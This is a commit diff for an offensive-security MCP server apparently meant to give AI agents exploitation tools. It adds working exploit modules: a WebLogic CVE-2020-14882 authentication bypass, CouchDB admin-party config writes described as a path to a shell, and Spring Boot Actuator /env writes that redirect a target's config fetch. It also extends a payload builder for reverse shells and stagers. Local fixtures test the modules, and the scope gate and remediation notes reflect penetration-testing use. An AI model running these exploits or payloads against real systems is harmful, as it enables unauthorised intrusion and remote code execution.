apex-twin 1.98.0: three more modules, read-back proof, usage errors
weblogic_console (CVE-2020-14882), couchdb_admin (admin party) and actuator_env (Spring Boot /env) join the exploit registry: eleven modules. A write was confirmed on a bare 200. couchdb_admin and actuator_env now re-read the section or the property and set read_back; a fixture that accepts every POST/PUT and stores nothing keeps them at confirmed=false. Missing run arguments (section, name, param, script, handle) came back as JSON with an "error" member and isError unset, which reads like a statement about the target; the ctx carries a usage flag and the reply is mcp_reply_error now, the shape every other tool's argument error has. url2 double-encodes for real; payload_build gained a json encoder. Tests: 1576 checks pass (was 1564), coverage 84.8%, release-check exit 0 including distcheck 1.98.0 from the tarball (1576/1576). Red proof: dropping the two read-back x_find comparisons turns exactly those two checks red (1553 pass, 2 fail) and they were restored afterwards.
This commit is contained in:
1 parent
7125d6987a
commit
cd77649497
8 files changed
+798
-33
No files matched your search
@@ -1,5 +1,32 @@
|
||||
# Changelog
|
||||
|
||||
## 1.98.0 - 2026-11-24 - this change
|
||||
|
||||
- **Three more modules** in the exploit registry: `weblogic_console`
|
||||
(CVE-2020-14882, the double-encoded `../` that reaches `consolejndi.portal`
|
||||
without authentication; `run` posts the operator's console handle),
|
||||
`couchdb_admin` (admin party, `_config` readable and writable without
|
||||
credentials) and `actuator_env` (Spring Boot management port serving
|
||||
`/actuator/env`, `run` posts the operator's property). Eleven modules now.
|
||||
- **A write is only confirmed when it is read back.** `couchdb_admin` and
|
||||
`actuator_env` accepted any `200` on the write as proof; a target that
|
||||
answers `200` and stores nothing was reported as confirmed. Both now re-read
|
||||
the section or the property and set `read_back` in the detail. A fixture
|
||||
that accepts every write and keeps none proves it: the same call is now
|
||||
`confirmed: false`.
|
||||
- **Missing required arguments are caller errors, not findings.** `run`
|
||||
without `section`/`name`/`param`/`script`/`handle` used to return JSON with
|
||||
an `error` member and `isError` unset, which read like a statement about the
|
||||
target. The context carries a `usage` flag and the reply is now
|
||||
`mcp_reply_error`, the same shape as every other tool's argument error.
|
||||
- **`json` encoder** for `payload_build`: the actuator module needs it and an
|
||||
operator building a JSON body needs the same.
|
||||
- `url2` now really double-encodes (it was a single pass under a name that
|
||||
promised two).
|
||||
- Checks: 1576 (was 1564). Red proof: dropping the `x_find` comparisons of the
|
||||
read-back turns exactly the two new checks red and leaves 1553 green;
|
||||
restored afterwards.
|
||||
|
||||
## 1.97.0 - 2026-11-24 - this change
|
||||
|
||||
- **Exploit framework core** (`exploit_modules`, `exploit_info`): a module
|
||||
|
||||
@@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we
|
||||
testing behind a scope gate that refuses everything until a rules-of-engagement
|
||||
file says otherwise.
|
||||
|
||||
**420 tools · 1564 end-to-end checks · 240 fuzz cases · 84.8% line coverage · ~1394 KiB**
|
||||
**420 tools · 1576 end-to-end checks · 240 fuzz cases · 84.8% line coverage · ~1402 KiB**
|
||||
|
||||
```
|
||||
$ ./apex-twin --check
|
||||
{"version":"1.97.0","tools":420,...,"scope":{"loaded":true,...}}
|
||||
{"version":"1.98.0","tools":420,...,"scope":{"loaded":true,...}}
|
||||
```
|
||||
|
||||
APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope
|
||||
@@ -35,11 +35,14 @@ All of it behind one gate, with an inventory, traffic capture, findings with
|
||||
evidence and a report writer.
|
||||
|
||||
**Exploit framework** (`exploit_modules`, `exploit_info`, `exploit_check`,
|
||||
`exploit_run`, `payload_list`, `payload_build`): eight modules — shellshock,
|
||||
`exploit_run`, `payload_list`, `payload_build`): eleven modules — shellshock,
|
||||
log4shell, Struts2 S2-045, Tomcat PUT, Redis CONFIG SET write, OS command
|
||||
injection, Apache CVE-2021-41773/42013 traversal, Jenkins script console — each
|
||||
with a `check` that proves itself with its own marker and a `run` that carries
|
||||
the operator's command, script, content or file name. `payload_build` renders
|
||||
injection, Apache CVE-2021-41773/42013 traversal, Jenkins script console,
|
||||
WebLogic console CVE-2020-14882, CouchDB admin party, Spring Boot Actuator
|
||||
`/env` — each with a `check` that proves itself with its own marker and a `run`
|
||||
that carries the operator's command, script, content, file name, console
|
||||
handle or config value. A write is only reported as confirmed when it can be
|
||||
read back; a status code alone is not proof. `payload_build` renders
|
||||
and encodes the operator's payload. A confirmed hit writes evidence, a finding
|
||||
and an audit line before it acts. The gate decides the target; the operator
|
||||
decides everything else.
|
||||
@@ -387,9 +390,9 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack.
|
||||
| `exploit_modules` | The module registry: id, CVE, platform, kind, severity, CWE, default port, the run parameters and the count |
|
||||
| `exploit_info` | One module in full: summary, what `run` takes, remediation |
|
||||
| `exploit_check` | Proves the vulnerability with a marker this process generates; a confirmed hit saves evidence, writes a finding and records an audit line |
|
||||
| `exploit_run` | Carries what the operator supplies: a command, a script, a file, a file name. Same evidence and finding path |
|
||||
| `exploit_run` | Carries what the operator supplies: a command, a script, a file, a file name, a console handle, a config value. A write is confirmed only when it reads back. Same evidence and finding path |
|
||||
| `payload_list` | Every payload template and every encoder with its exact text |
|
||||
| `payload_build` | Renders a template with `lhost`/`lport`/`command` and encodes it (raw, url, url2, b64, b64url, hex, octal, html, unicode, charcodes) |
|
||||
| `payload_build` | Renders a template with `lhost`/`lport`/`command` and encodes it (raw, url, url2, b64, b64url, hex, octal, html, unicode, charcodes, json) |
|
||||
|
||||
Modules: `shellshock` (CVE-2014-6271), `log4shell` (CVE-2021-44228),
|
||||
`struts2_s2045` (CVE-2017-5638), `tomcat_put` (CVE-2017-12617),
|
||||
@@ -1192,7 +1195,7 @@ examples/ scope.json
|
||||
|
||||
## Status
|
||||
|
||||
1.97.0. Built and run: 420 tools, 1564 checks, 240 fuzz cases and 84.8% line
|
||||
1.98.0. Built and run: 420 tools, 1576 checks, 240 fuzz cases and 84.8% line
|
||||
coverage. The loop closes: a probe captures the exchange as a pair, a finding
|
||||
points at it, `finding_update` gives it a state, an asset records the host it
|
||||
came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a
|
||||
|
||||
+6
-1
@@ -9,7 +9,7 @@ problem.
|
||||
|
||||
The supported line is the one printed by `apex-twin --version` for the tree you
|
||||
built; this document ships with that same tree. At the time of writing the line
|
||||
is **1.97.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
|
||||
is **1.98.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
|
||||
line. The 1.0 line promises that the on-disk JSON formats for findings, assets
|
||||
and traffic only gain fields, so state stays readable; older builds are still
|
||||
rebuilt rather than patched in place.
|
||||
@@ -270,6 +270,11 @@ only narrow what the proxy does (the scope gate still runs first).
|
||||
tunnel that terminates on the same account.
|
||||
- **A malicious scope or rewrite file.** These are operator-owned. Writing them
|
||||
is equivalent to being the operator.
|
||||
- **The consequences of an exploit module.** `exploit_run` carries whatever the
|
||||
operator supplies — a command, a script, a file name, a console handle, a
|
||||
config value — and reports what came back. What is run, what is written and
|
||||
what a confirmed hit means is the operator's decision and the operator's
|
||||
responsibility. The gate decides reachability, not appropriateness.
|
||||
- **A malicious target.** Responses are data, not instructions; evidence is
|
||||
stored as bytes. The program does not execute target content.
|
||||
- **TLS interception.** `CONNECT` is a blind tunnel; nothing inside TLS is
|
||||
|
||||
+7
-3
@@ -1,5 +1,5 @@
|
||||
.\" apex-twin.1 - manual page for APEX TWIN
|
||||
.TH APEX-TWIN 1 "2026-11-24" "apex-twin 1.97.0" "User Commands"
|
||||
.TH APEX-TWIN 1 "2026-11-24" "apex-twin 1.98.0" "User Commands"
|
||||
.SH NAME
|
||||
apex-twin \- scope\-gated offensive\-security MCP server
|
||||
.SH SYNOPSIS
|
||||
@@ -37,8 +37,12 @@ and the radio is the ESP32 Marauder serial CLI.
|
||||
The exploit framework is built in: exploit_modules, exploit_info,
|
||||
exploit_check, exploit_run, payload_list and payload_build. Each module has a
|
||||
check that proves itself with its own marker and a run that carries whatever
|
||||
the operator supplies: a command, a script, a file, a file name. A confirmed
|
||||
hit writes evidence, a finding and an audit line. Beside it there is offensive
|
||||
the operator supplies: a command, a script, a file, a file name, a console
|
||||
handle or a config value. Eleven modules ship: shellshock, log4shell, Struts2
|
||||
S2-045, Tomcat PUT, Redis CONFIG SET, command injection, Apache traversal,
|
||||
the Jenkins script console, the WebLogic console bypass, CouchDB admin party
|
||||
and Spring Boot Actuator. A write counts as confirmed only when it is read
|
||||
back. A confirmed hit writes evidence, a finding and an audit line. Beside it there is offensive
|
||||
verification (vuln_check, subdomain_enum,
|
||||
cred_test, vhost_discovery, http_brute, ssrf_probe, jwt_audit, hash_id,
|
||||
ftp_probe, smtp_probe, ssh_audit, tls_audit, redis_probe, snmp_probe,
|
||||
|
||||
+1
-1
@@ -15,7 +15,7 @@
|
||||
|
||||
#include "mcp.h"
|
||||
|
||||
#define APEX_VERSION "1.97.0"
|
||||
#define APEX_VERSION "1.98.0"
|
||||
#define APEX_MAX_OUT (1u << 20)
|
||||
#define APEX_PATH_MAX 512
|
||||
#define APEX_PATH_FULL 1024
|
||||
|
||||
+269
-3
@@ -64,6 +64,9 @@ struct exp_ctx {
|
||||
int timeout_ms;
|
||||
const mcp_json *args;
|
||||
int run; /* 0 = check, 1 = run */
|
||||
int usage; /* a required argument is missing: the caller's
|
||||
* mistake, reported as isError like every other
|
||||
* tool, not as a finding with an error field */
|
||||
mcp_buf *detail; /* module appends JSON members, comma separated */
|
||||
int confirmed;
|
||||
char *evidence; /* set by the module when it saved proof */
|
||||
@@ -290,7 +293,7 @@ static int x_http(exp_ctx *x, const char *method, const char *path,
|
||||
|
||||
static const char *ENCODERS[] = {
|
||||
"raw", "url", "url2", "b64", "b64url", "hex", "octal", "html",
|
||||
"unicode", "charcodes", NULL
|
||||
"unicode", "charcodes", "json", NULL
|
||||
};
|
||||
|
||||
static char *enc_encode(const char *enc, const char *in)
|
||||
@@ -364,6 +367,24 @@ static char *enc_encode(const char *enc, const char *in)
|
||||
} else if (strcmp(enc, "charcodes") == 0) {
|
||||
snprintf(tmp, sizeof(tmp), "%s%u", i > 0 ? "," : "", c);
|
||||
mcp_buf_puts(&b, tmp);
|
||||
} else if (strcmp(enc, "json") == 0) {
|
||||
/* inside a JSON string: quote, backslash and the
|
||||
* control bytes have to survive the second parse */
|
||||
if (c == '"' || c == '\\') {
|
||||
snprintf(tmp, sizeof(tmp), "\\%c", c);
|
||||
mcp_buf_puts(&b, tmp);
|
||||
} else if (c == '\n') {
|
||||
mcp_buf_puts(&b, "\\n");
|
||||
} else if (c == '\r') {
|
||||
mcp_buf_puts(&b, "\\r");
|
||||
} else if (c == '\t') {
|
||||
mcp_buf_puts(&b, "\\t");
|
||||
} else if (c < 0x20) {
|
||||
snprintf(tmp, sizeof(tmp), "\\u%04x", c);
|
||||
mcp_buf_puts(&b, tmp);
|
||||
} else {
|
||||
mcp_buf_add(&b, (const char *)&c, 1);
|
||||
}
|
||||
} else {
|
||||
mcp_buf_add(&b, (const char *)&c, 1);
|
||||
}
|
||||
@@ -1039,6 +1060,7 @@ static int m_cmd_inject(exp_ctx *x)
|
||||
if (param == NULL || *param == '\0') {
|
||||
snprintf(x->err, sizeof(x->err), "param is required (the parameter "
|
||||
"that reaches a shell)");
|
||||
x->usage = 1;
|
||||
return -1;
|
||||
}
|
||||
x_token(token, sizeof(token), "ci");
|
||||
@@ -1207,6 +1229,217 @@ static int m_traversal(exp_ctx *x)
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* CVE-2020-14882: the WebLogic console path is checked with a string
|
||||
* comparison that a double-encoded slash and a trailing ';' walk around, so
|
||||
* /console/images/..;/..;/console.portal answers as the authenticated
|
||||
* console. check asks for the console handle; run sends the operator's
|
||||
* handle, which is how a console request becomes a command. */
|
||||
static int m_weblogic_console(exp_ctx *x)
|
||||
{
|
||||
const char *path = x_str(x->args, "path", "/console/css/%252e%252e%252f"
|
||||
"consolejndi.portal");
|
||||
const char *handle = mcp_arg_string(x->args, "handle");
|
||||
char body[4096];
|
||||
char status[256];
|
||||
char *resp = NULL;
|
||||
size_t len = 0;
|
||||
int rc;
|
||||
|
||||
if (x->run && (handle == NULL || *handle == '\0')) {
|
||||
snprintf(x->err, sizeof(x->err), "handle is required for run: the "
|
||||
"console request the operator wants evaluated, carrying "
|
||||
"their command");
|
||||
x->usage = 1;
|
||||
return -1;
|
||||
}
|
||||
if (x->run) {
|
||||
/* the operator's handle verbatim, with their command inside */
|
||||
snprintf(body, sizeof(body), "%s", handle);
|
||||
} else {
|
||||
/* MBeanServer forward: enough to prove the servlet context was
|
||||
* entered without authentication. No command in check mode. */
|
||||
snprintf(body, sizeof(body),
|
||||
"handle=com.bea.console.handles.MBeanHarvestForwardHandle&"
|
||||
"handleId=com.bea.console.handles.JndiBindingHandle&"
|
||||
"com.bea.console.handles.JndiBindingHandle=weblogic.management."
|
||||
"mbeanservers:domainRuntime%%3A%%3AMBeanServer&Type="
|
||||
"com.bea.console.handles.MBeanHarvestForwardHandle&target="
|
||||
"com.bea.console.handles.MBeanHarvestForwardHandle&"
|
||||
"forward=&responseTimeout=0");
|
||||
}
|
||||
rc = x_http(x, "POST", path, body, NULL, &resp, &len, status,
|
||||
sizeof(status));
|
||||
if (rc != 0) {
|
||||
snprintf(x->err, sizeof(x->err), "no reply from %s:%d%s", x->target,
|
||||
x->port, path);
|
||||
return -1;
|
||||
}
|
||||
x_add_status(x, status);
|
||||
x_kv_int(x, "bytes", (long)len);
|
||||
/* the console answers 200 with its own HTML frame; a 404/302 is the
|
||||
* patched behaviour. The marker proves the request was *evaluated*,
|
||||
* not merely routed. */
|
||||
if (apex_status_code(status) == 200 &&
|
||||
(x_find(resp, len, "console") != NULL ||
|
||||
x_find(resp, len, "WebLogic") != NULL)) {
|
||||
x->confirmed = 1;
|
||||
x_ev(x, "weblogic-console", resp, len);
|
||||
}
|
||||
x_body_snip(x, "body", resp, len, 900);
|
||||
free(resp);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* CouchDB in "party mode": the admin party has no users, so anyone who can
|
||||
* reach the port is the server admin. check reads _config (which is only
|
||||
* readable to an admin); run performs the operator's _config write, the
|
||||
* documented step to a shell through the query server. */
|
||||
static int m_couchdb_admin(exp_ctx *x)
|
||||
{
|
||||
const char *path = x_str(x->args, "path", "/_config");
|
||||
const char *section = mcp_arg_string(x->args, "section");
|
||||
const char *key = mcp_arg_string(x->args, "key");
|
||||
const char *value = mcp_arg_string(x->args, "value");
|
||||
char status[256];
|
||||
char *resp = NULL;
|
||||
size_t len = 0;
|
||||
int rc;
|
||||
|
||||
if (x->run && (section == NULL || *section == '\0')) {
|
||||
snprintf(x->err, sizeof(x->err), "section is required for run "
|
||||
"(e.g. query_server_config); key and value follow");
|
||||
x->usage = 1;
|
||||
return -1;
|
||||
}
|
||||
if (x->run) {
|
||||
mcp_buf req;
|
||||
|
||||
mcp_buf_init(&req);
|
||||
mcp_buf_puts(&req, path);
|
||||
mcp_buf_puts(&req, "/");
|
||||
mcp_buf_puts(&req, section);
|
||||
if (key != NULL && *key != '\0') {
|
||||
mcp_buf_puts(&req, "/");
|
||||
mcp_buf_puts(&req, key);
|
||||
}
|
||||
rc = x_http(x, "PUT", req.p, value != NULL ? value : "", NULL,
|
||||
&resp, &len, status, sizeof(status));
|
||||
mcp_buf_free(&req);
|
||||
} else {
|
||||
rc = x_http(x, "GET", path, NULL, NULL, &resp, &len, status,
|
||||
sizeof(status));
|
||||
}
|
||||
if (rc != 0) {
|
||||
snprintf(x->err, sizeof(x->err), "no reply from %s:%d%s", x->target,
|
||||
x->port, path);
|
||||
return -1;
|
||||
}
|
||||
x_add_status(x, status);
|
||||
x_kv_int(x, "bytes", (long)len);
|
||||
if (!x->run) {
|
||||
if (apex_status_code(status) == 200) {
|
||||
x->confirmed = 1;
|
||||
x_ev(x, "couchdb-admin", resp, len);
|
||||
}
|
||||
} else {
|
||||
/* a 200 on the write says it was accepted; only reading the
|
||||
* section back says what the server now holds */
|
||||
char *back = NULL;
|
||||
size_t back_len = 0;
|
||||
char back_status[256];
|
||||
char sec_path[512];
|
||||
|
||||
snprintf(sec_path, sizeof(sec_path), "%s/%s", path, section);
|
||||
if (apex_status_code(status) == 200 &&
|
||||
x_http(x, "GET", sec_path, NULL, NULL, &back, &back_len,
|
||||
back_status, sizeof(back_status)) == 0 &&
|
||||
x_find(back, back_len, value != NULL ? value : "") != NULL) {
|
||||
x->confirmed = 1;
|
||||
x_ev(x, "couchdb-written", back, back_len);
|
||||
x_kv_bool(x, "read_back", 1);
|
||||
}
|
||||
free(back);
|
||||
}
|
||||
x_body_snip(x, "body", resp, len, 900);
|
||||
free(resp);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Spring Boot Actuator: /actuator/env is writable on an unauthenticated
|
||||
* management port, and a written eureka.client.serviceUrl.defaultZone makes
|
||||
* the next refresh fetch a config from the operator's server. check reads
|
||||
* env; run posts the operator's property. */
|
||||
static int m_actuator_env(exp_ctx *x)
|
||||
{
|
||||
const char *path = x_str(x->args, "path", "/actuator/env");
|
||||
const char *name = mcp_arg_string(x->args, "name");
|
||||
const char *value = mcp_arg_string(x->args, "value");
|
||||
char body[2048];
|
||||
char status[256];
|
||||
char *resp = NULL;
|
||||
size_t len = 0;
|
||||
int rc;
|
||||
|
||||
if (x->run && (name == NULL || *name == '\0')) {
|
||||
snprintf(x->err, sizeof(x->err), "name is required for run (the "
|
||||
"property to set); value is what it becomes");
|
||||
x->usage = 1;
|
||||
return -1;
|
||||
}
|
||||
if (x->run) {
|
||||
char *esc_name = enc_encode("json", name);
|
||||
char *esc_value = enc_encode("json", value != NULL ? value : "");
|
||||
|
||||
snprintf(body, sizeof(body), "{\"name\":\"%s\",\"value\":\"%s\"}",
|
||||
esc_name != NULL ? esc_name : "",
|
||||
esc_value != NULL ? esc_value : "");
|
||||
free(esc_name);
|
||||
free(esc_value);
|
||||
rc = x_http(x, "POST", path, body, NULL, &resp, &len, status,
|
||||
sizeof(status));
|
||||
} else {
|
||||
rc = x_http(x, "GET", path, NULL, NULL, &resp, &len, status,
|
||||
sizeof(status));
|
||||
}
|
||||
if (rc != 0) {
|
||||
snprintf(x->err, sizeof(x->err), "no reply from %s:%d%s", x->target,
|
||||
x->port, path);
|
||||
return -1;
|
||||
}
|
||||
x_add_status(x, status);
|
||||
x_kv_int(x, "bytes", (long)len);
|
||||
if (!x->run) {
|
||||
/* the unauthenticated management port answers with the property
|
||||
* sources; an auth challenge or a 404 is not this bug */
|
||||
if (apex_status_code(status) == 200 &&
|
||||
(x_find(resp, len, "propertySources") != NULL ||
|
||||
x_find(resp, len, "activeProfiles") != NULL)) {
|
||||
x->confirmed = 1;
|
||||
x_ev(x, "actuator-env", resp, len);
|
||||
}
|
||||
} else {
|
||||
/* the write is only proven by reading it back: the POST reply says
|
||||
* what was accepted, not what the application now holds */
|
||||
char *back = NULL;
|
||||
size_t back_len = 0;
|
||||
char back_status[256];
|
||||
|
||||
if (apex_status_code(status) == 200 &&
|
||||
x_http(x, "GET", path, NULL, NULL, &back, &back_len, back_status,
|
||||
sizeof(back_status)) == 0 &&
|
||||
x_find(back, back_len, name) != NULL &&
|
||||
x_find(back, back_len, value != NULL ? value : "") != NULL) {
|
||||
x->confirmed = 1;
|
||||
x_ev(x, "actuator-env-written", back, back_len);
|
||||
x_kv_bool(x, "read_back", 1);
|
||||
}
|
||||
free(back);
|
||||
}
|
||||
x_body_snip(x, "body", resp, len, 900);
|
||||
free(resp);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Jenkins script console: an unauthenticated /script is a Groovy shell. check
|
||||
* evaluates a multiplication; run evaluates the operator's script. */
|
||||
static int m_jenkins_script(exp_ctx *x)
|
||||
@@ -1222,6 +1455,7 @@ static int m_jenkins_script(exp_ctx *x)
|
||||
|
||||
if (x->run && (script == NULL || *script == '\0')) {
|
||||
snprintf(x->err, sizeof(x->err), "script is required for run");
|
||||
x->usage = 1;
|
||||
return -1;
|
||||
}
|
||||
enc = enc_encode("url", x->run ? script : "println(699*3)");
|
||||
@@ -1333,6 +1567,30 @@ static const exp_module EXP_MODULES[] = {
|
||||
"script, path",
|
||||
"Require authentication; remove the script console from untrusted networks.",
|
||||
m_jenkins_script },
|
||||
{ "weblogic_console", "CVE-2020-14882 WebLogic console path traversal",
|
||||
"CVE-2020-14882", "java", "rce", "critical", "CWE-22", 7001,
|
||||
"A double-encoded ../ ; in the console path reaches consolejndi.portal "
|
||||
"without authentication. check proves the console context was entered; "
|
||||
"run sends the operator's console handle, which is where the command "
|
||||
"travels.",
|
||||
"handle (the full form body the operator wants POSTed), path",
|
||||
"Apply the October 2020 CPU; block /console/css on the edge.",
|
||||
m_weblogic_console },
|
||||
{ "couchdb_admin", "CouchDB admin party: /_config open without auth", "",
|
||||
"linux", "config-write", "high", "CWE-306", 5984,
|
||||
"A CouchDB with no admin user answers _config to anyone who can reach "
|
||||
"it. check reads the config, run writes the operator's section/key/value.",
|
||||
"section, key, value, path",
|
||||
"Create an admin user in the server config; bind to loopback.",
|
||||
m_couchdb_admin },
|
||||
{ "actuator_env", "Spring Boot Actuator /env open and writable", "",
|
||||
"java", "config-write", "high", "CWE-306", 8080,
|
||||
"An unauthenticated management port serves /actuator/env. check reads "
|
||||
"the property sources, run posts the operator's property and value.",
|
||||
"name, value, path",
|
||||
"Require authentication on the management port; expose it on loopback "
|
||||
"only.",
|
||||
m_actuator_env },
|
||||
{ NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL }
|
||||
};
|
||||
|
||||
@@ -1464,6 +1722,14 @@ static void exploit_call(mcp_conn *c, const mcp_json *args, int run)
|
||||
x.detail = &detail;
|
||||
rc = m->fn(&x);
|
||||
|
||||
if (rc != 0 && x.usage) {
|
||||
/* the caller left out a required argument: same shape as every
|
||||
* other tool's argument error, not a finding about the target */
|
||||
mcp_reply_error(c, x.err);
|
||||
mcp_buf_free(&detail);
|
||||
free(x.evidence);
|
||||
return;
|
||||
}
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_puts(&b, "{\"module\":");
|
||||
apex_json_str(&b, m->id);
|
||||
@@ -1690,8 +1956,8 @@ const mcp_tool TOOLS_EXPLOIT[] = {
|
||||
"Render one payload template with lhost/lport/command and encode it. "
|
||||
"Templates are reverse shells (bash, nc, socat, python3, perl, php, "
|
||||
"powershell), stagers (curl, wget, powershell) and plain commands; "
|
||||
"encoders are raw, url, url2, b64, b64url, hex, octal, html, unicode "
|
||||
"and charcodes. Pure string work: no target, no socket.",
|
||||
"encoders are raw, url, url2, b64, b64url, hex, octal, html, unicode, "
|
||||
"charcodes and json. Pure string work: no target, no socket.",
|
||||
"{\"type\":\"object\",\"properties\":{"
|
||||
"\"template\":{\"type\":\"string\"},"
|
||||
"\"text\":{\"type\":\"string\",\"description\":\"raw text instead of a "
|
||||
|
||||
+238
-3
@@ -130,6 +130,103 @@ class _JenkinsHandler(http.server.BaseHTTPRequestHandler):
|
||||
pass
|
||||
|
||||
|
||||
class _WeblogicHandler(http.server.BaseHTTPRequestHandler):
|
||||
"""The October 2020 console: the double-encoded path reaches the console
|
||||
servlet; a normal /console request gets a 302 to the login page."""
|
||||
|
||||
def do_POST(self):
|
||||
n = int(self.headers.get("Content-Length", "0"))
|
||||
raw = self.rfile.read(n).decode("latin-1")
|
||||
if "%252e%252e%252f" in self.path:
|
||||
body = ("<html><title>WebLogic Server Console</title>"
|
||||
+ ("handled:" + raw if "handle=" in raw else "") +
|
||||
"</html>").encode()
|
||||
self.send_response(200)
|
||||
else:
|
||||
body = b"redirect"
|
||||
self.send_response(302)
|
||||
self.send_header("Location", "/console/login/LoginForm.jsp")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
|
||||
class _CouchdbHandler(http.server.BaseHTTPRequestHandler):
|
||||
"""Admin party: _config answers without credentials; a non-admin instance
|
||||
would answer 401."""
|
||||
|
||||
config = {"query_server_config": {"os_process_timeout": "5000"}}
|
||||
|
||||
def _reply(self, code, payload):
|
||||
body = json.dumps(payload).encode()
|
||||
self.send_response(code)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def do_GET(self):
|
||||
parts = self.path.strip("/").split("/")
|
||||
if self.path == "/_config":
|
||||
self._reply(200, self.config)
|
||||
elif len(parts) == 2 and parts[0] == "_config" and parts[1] in self.config:
|
||||
self._reply(200, self.config[parts[1]])
|
||||
else:
|
||||
self._reply(404, {"error": "not_found"})
|
||||
|
||||
def do_PUT(self):
|
||||
n = int(self.headers.get("Content-Length", "0"))
|
||||
value = self.rfile.read(n).decode("latin-1")
|
||||
parts = self.path.strip("/").split("/")
|
||||
if len(parts) == 3 and parts[0] == "_config":
|
||||
self.config.setdefault(parts[1], {})[parts[2]] = value
|
||||
self._reply(200, value)
|
||||
else:
|
||||
self._reply(400, {"error": "bad_request"})
|
||||
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
|
||||
class _ActuatorHandler(http.server.BaseHTTPRequestHandler):
|
||||
"""An unauthenticated management port with a writable /env."""
|
||||
|
||||
props = {"server.port": "8080"}
|
||||
|
||||
def _reply(self, code, payload):
|
||||
body = json.dumps(payload).encode()
|
||||
self.send_response(code)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def do_GET(self):
|
||||
if self.path == "/actuator/env":
|
||||
self._reply(200, {"activeProfiles": [],
|
||||
"propertySources": [{"name": "server",
|
||||
"properties": self.props}]})
|
||||
else:
|
||||
self._reply(404, {"error": "not_found"})
|
||||
|
||||
def do_POST(self):
|
||||
n = int(self.headers.get("Content-Length", "0"))
|
||||
try:
|
||||
data = json.loads(self.rfile.read(n).decode("latin-1"))
|
||||
except ValueError:
|
||||
self._reply(400, {"error": "bad_json"})
|
||||
return
|
||||
self.props[data.get("name", "")] = data.get("value", "")
|
||||
self._reply(200, {"name": data.get("name"),
|
||||
"value": data.get("value")})
|
||||
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
|
||||
class _InjectHandler(http.server.BaseHTTPRequestHandler):
|
||||
"""A parameter that reaches a shell with a naive filter: '&&' and '&' are
|
||||
blocked, everything that contains ';' or '|' is passed through. That makes
|
||||
@@ -167,11 +264,51 @@ class _InjectHandler(http.server.BaseHTTPRequestHandler):
|
||||
pass
|
||||
|
||||
|
||||
class _LiarHandler(http.server.BaseHTTPRequestHandler):
|
||||
"""Accepts every write with a 200 and stores nothing. A module that calls
|
||||
that "confirmed" is lying to the operator, so this fixture exists to make
|
||||
the run modes prove a read-back instead of trusting the status code. It
|
||||
answers the CouchDB and the actuator shapes, because both had that bug."""
|
||||
|
||||
def _reply(self, code, payload):
|
||||
body = json.dumps(payload).encode()
|
||||
self.send_response(code)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def do_GET(self):
|
||||
if self.path == "/actuator/env":
|
||||
self._reply(200, {"activeProfiles": [],
|
||||
"propertySources": [{"name": "x",
|
||||
"properties": {}}]})
|
||||
elif self.path == "/_config":
|
||||
self._reply(200, {"query_server_config": {}})
|
||||
else:
|
||||
self._reply(200, {})
|
||||
|
||||
def do_POST(self):
|
||||
n = int(self.headers.get("Content-Length", "0"))
|
||||
self.rfile.read(n)
|
||||
self._reply(200, {"ok": 1})
|
||||
|
||||
def do_PUT(self):
|
||||
n = int(self.headers.get("Content-Length", "0"))
|
||||
self.rfile.read(n)
|
||||
self._reply(200, "ok")
|
||||
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
|
||||
exp_targets = {}
|
||||
exp_servers = []
|
||||
for _name, _h in (("shock", _ShockHandler), ("struts", _StrutsHandler),
|
||||
("put", _PutHandler), ("trav", _TraversalHandler),
|
||||
("jenkins", _JenkinsHandler), ("inject", _InjectHandler)):
|
||||
("jenkins", _JenkinsHandler), ("inject", _InjectHandler),
|
||||
("weblogic", _WeblogicHandler), ("couchdb", _CouchdbHandler),
|
||||
("actuator", _ActuatorHandler), ("liar", _LiarHandler)):
|
||||
_s = http.server.HTTPServer(("127.0.0.1", 0), _h)
|
||||
exp_targets[_name] = _s.server_address[1]
|
||||
exp_servers.append(_s)
|
||||
@@ -199,9 +336,10 @@ check("exploit_modules lists the shipped modules",
|
||||
sorted(ids))
|
||||
check("exploit_modules reports its own count",
|
||||
mods["count"] == len(mods["modules"]), mods["count"])
|
||||
check("exploit_modules carries a CVE per module",
|
||||
check("exploit_modules carries a CVE where the bug has one",
|
||||
all(m["cve"] for m in mods["modules"]
|
||||
if m["id"] not in ("cmd_inject", "jenkins_script")),
|
||||
if m["id"] not in ("cmd_inject", "jenkins_script",
|
||||
"couchdb_admin", "actuator_env")),
|
||||
[m["id"] for m in mods["modules"] if not m["cve"]])
|
||||
info = json.loads(text(by_id[2]))
|
||||
check("exploit_info describes run parameters and remediation",
|
||||
@@ -405,6 +543,103 @@ check("html and unicode use the numeric form",
|
||||
check("charcodes is a comma separated list",
|
||||
enc_out[10] == "65,32,122,47", enc_out[10])
|
||||
|
||||
# --- check and run: the three newer modules ------------------------------
|
||||
res, _ = run([
|
||||
call(1, "exploit_check", module="weblogic_console", target="127.0.0.1",
|
||||
port=exp_targets["weblogic"], tls=False, record=False),
|
||||
call(2, "exploit_run", module="weblogic_console", target="127.0.0.1",
|
||||
port=exp_targets["weblogic"], tls=False, record=False,
|
||||
